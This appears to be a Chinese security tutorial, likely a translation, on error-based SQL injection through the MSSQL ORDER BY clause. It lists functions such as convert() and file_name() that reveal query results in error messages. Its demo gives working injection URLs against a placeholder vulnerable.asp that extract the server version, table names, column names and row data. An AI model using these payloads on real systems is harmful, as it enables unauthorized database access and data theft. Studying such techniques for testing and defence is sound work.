详解基于MSSQL “order by”语句报错的SQL注入技术
在本文中,我们要利用的SQL注入漏洞出现在下面的情形中:当用户提供的数据通过MSSQL的“Order By”语句中的值进行传递时,如果SQL查询中存在语法错误,那么应用程序就会抛出SQL Server错误。
如果用户提供的数据在“Order By”子句中作为列名传递给SQL查询的话,那么常规的“基于错误的SQL注入”漏洞利用技术就无法生效了。
由于SQL Server已经为SQL查询预定义了一套安全规则,因此,我们无法使用常规的“基于错误的SQL注入”技术来攻击应用程序中的SQL注入漏洞。
不过,由于用户可以在Order by子句之后指定函数名称,同时,有些SQL server函数可以执行以参数传入的查询,并尝试对注入的查询的结果执行某些操作,如果操作遇到问题就会抛出错误,所以,如果我们对这些函数进行注入攻击,那么这些函数就会暴露注入的SQL查询的结果——这就是我们的漏洞利用思路。
文章目录
· 漏洞利用
· 演示:
· 原文链接:
漏洞利用
下面我们开始介绍可用于基于错误的SQL注入攻击的函数。 ( 内容推荐>>>>>>SQL注入漏洞的分析与利用 ,可申请免费试听,联系牛油果,微信 1472301220)
实际上,确实有少数几个SQL server函数可以满足我们的要求:执行其参数指定的SQL查询,并对查询结果执行指定的操作,还能通过错误消息给出SQL查询结果。
Convert()就是满足上述要求的一个函数,它常用于基于错误的SQL注入攻击中,因为它会按照第一个参数中指定的数据类型对第二个参数执行转换操作。
例如,对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型。但是,由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会抛出一个SQL server错误消息,指出“SQL查询结果”无法转换为“int”类型,这样的话,攻击者就能得到的这个SQL查询的结果了。
下面列出满足上述要求的各个函数:
· convert()
· file_name()
· db_name()
· col_name()
· filegroup_name()
· object_name()
· schema_name()
· type_name()
· cast()
演示:
假设这里有一个包含SQL注入漏洞的URL,它会将HTTP GET方法中名为“order”的参数的值(该值由用户指定)传递给SQL查询。该URL如下所示:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=column_name
然后,应用程序会从HTTP GET方法的参数“order”中接收用户提供的数据,并生成如下所示的SQL查询:
Select table_name,column_name from information_schema.columns order by column_name
convert() 函数
· 查询SQL server版本
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,@@version)
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
convert(int,@@version)
· 提取当前数据库的表名
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))
· 从表中提取列名
在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
· 提取表中的列数据
从数据表的列中提取数据实际上并不复杂,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=convert(int,(select top(1)
xserver_name from spt_fallback_db))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) xserver_name from spt_fallback_db))
file_name()函数
· 查询SQL server版本
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=file_name(@@version)
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
file_name(@@version)
· 提取当前数据库的表名
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order=CONVERT(int,(select top(1)
table_name from information_schema.columns))
在后台实际执行的查询:
select table_name,column_name from information_schema.columns order by
CONVERT(int,(select top(1) table_name from information_schema.tables))
· 从表中提取列名
在提取列名的时候,我们可以使用cast()来规定要从哪些表中提取列名。需要注意的是,这里的表名是用“十六进制”形式表示的。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= convert(int,(select top(1)
COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
convert(int,(select top(1) COLUMN_NAME from information_schema.columns where
TABLE_NAME=cast(0x7370745f66616c6c6261636b5f6462 as varchar)))
· 从表中提取列数据
从数据表中提取列数据其实很简单,只需在SQL查询中指定列名和表名即可。在本例中,我使用的列名为’xserver_name’,表名为’spt_fallback_db’。
注入相关命令后的URL:
http://vulnerable_webapp/vulnerable.asp?data=yes&order= file_name((select top(1)
xserver_name from spt_fallback_db))
在后台实际执行的查询:
select table_name,column_name from INFORMATION_SCHEMA.COLUMNS order by
file_name((select top(1) xserver_name from spt_fallback_db))
详解基于MSSQL “order by”语句报错的SQL注入技术的更多相关文章
- 基于报错的SQL注入整理
SQLServer 一.利用错误消息提取信息 输入 'having 1=1 --(having一般要与group by一起来使用,group by是用来进行分组的,having后面是用来进行判断的), ...
- [MYSQL手工注入](3)基于报错的SQL注入实战
0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...
- nrf52——DFU升级USB/UART升级方式详解(基于SDK开发例程)
摘要:在前面的nrf52--DFU升级OTA升级方式详解(基于SDK开发例程)一文中我测试了基于蓝牙的OTA,本文将开始基于UART和USB(USB_CDC_)进行升级测试. 整体升级流程: 整个过程 ...
- HashMap实现详解 基于JDK1.8
HashMap实现详解 基于JDK1.8 1.数据结构 散列表:是一种根据关键码值(Key value)而直接进行访问的数据结构.采用链地址法处理冲突. HashMap采用Node<K,V> ...
- SSE技术详解:一种全新的HTML5服务器推送事件技术
前言 一般来说,Web端即时通讯技术因受限于浏览器的设计限制,一直以来实现起来并不容易,主流的Web端即时通讯方案大致有4种:传统Ajax短轮询.Comet技术.WebSocket技术.SSE(Ser ...
- 插入mysql语句报错:1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near
插入一个很简单的sql语句时候,mysql一直报错: [SQL] INSERT INTO ORDER ( id, activity_id, order_type, phone, order_amoun ...
- 解决Mysql搭建成功后执行sql语句报错以及区分大小写问题
刚搭建完mysql 8.0以后会: 一.表区分大小写, 二.执行正确的sql语句成功且会报:[Err] 1055 - Expression #1 of ORDER BY clause is not i ...
- SQL语句报错(一)
SQL语句报错(一) 1.具体报错如下: ORA-01861:文字格式字符串不匹配 01861. 00000 - "literal does not match format string& ...
- (转)android import library switch语句报错case expressions must be constant expressions
今天当我从github上下载一个工程,并把它的库文件导入eclipse中,发现switch语句报错case expressions must be constant expressions : 解决方 ...
随机推荐
- 006. SSO 单点登录(同域SSO/跨域SSO)
SSO 单点登录:一次登录,处处登录. 只需在一个登录认证服务下进行登录后,就可访问所有相互信任的应用 同域 SSO 1. session-cookie机制:服务端通过cookie认证客户端. 用户第 ...
- phpstorm本地怎么上传到服务器
连接服务器 菜单栏找到[工具/Tools]->[Deployment/部署]->[Confinguration…/配置…]. 点加号(+),添加一台服务器,填写名称,选择类型为SFTP,点 ...
- align-content 与 align-items 区别
align-content 和 align-items : 1:共同点:它们对齐方向为交叉轴 2:不同点:align-content 应用于为 多行 而 align-items:应用于单行. 单 ...
- Spark Streaming 快速入门
一.简介 1.便于使用 Spark Streaming将Apache Spark的 语言集成API 引入流处理,使您可以像编写批处理作业一样编写流式作业.它支持Java,Scala和Python. 2 ...
- Docker-Docker-compose应用
Docker-compose是用来定义和运行多容器应用的工具,它是独立于docker存在的,需要单独安装.实际应用场景中,我们的应用可能被打包运行在不同的容器里面,例如一个常规的web应用可能会涉及到 ...
- python带参函数(计算器脚本解释标注)
环境 python 3.* def operator(op1,op2,opfu): #定义符号函数,op1表示第一个运算数值,op2表示第二个,opfu表示运算符号 if opfu not in '+ ...
- Redis和MongoDB的区别(面试受用)
项目中用的是MongoDB,但是为什么用其实当时选型的时候也没有太多考虑,只是认为数据量比较大,所以采用MongoDB. 最近又想起为什么用MongoDB,就查阅一下,汇总汇总: 之前也用过redis ...
- js斐波拉切
如下: //1 1 2 3 5 8 13 21...//斐波拉切 function fei(n){ if(n==1 || n==2){ return 1 }else{ return fei(n-1)+ ...
- Linux基础学习:目录配置
Linux 目录配置标准:FHS FHS:即Filesystem Hierarchy Stabdard,文件配置标准.其主要目的是希望用户可以了解已安装软件通常放置在哪个目录下. FHS根据文件系统使 ...
- Thymeleaf入门(一)——入门与基本概述
一.概述 1.是什么 简单说, Thymeleaf 是一个跟 Velocity.FreeMarker 类似的模板引擎,它可以完全替代 JSP . 2.feature 1.Thymeleaf 在有网络和 ...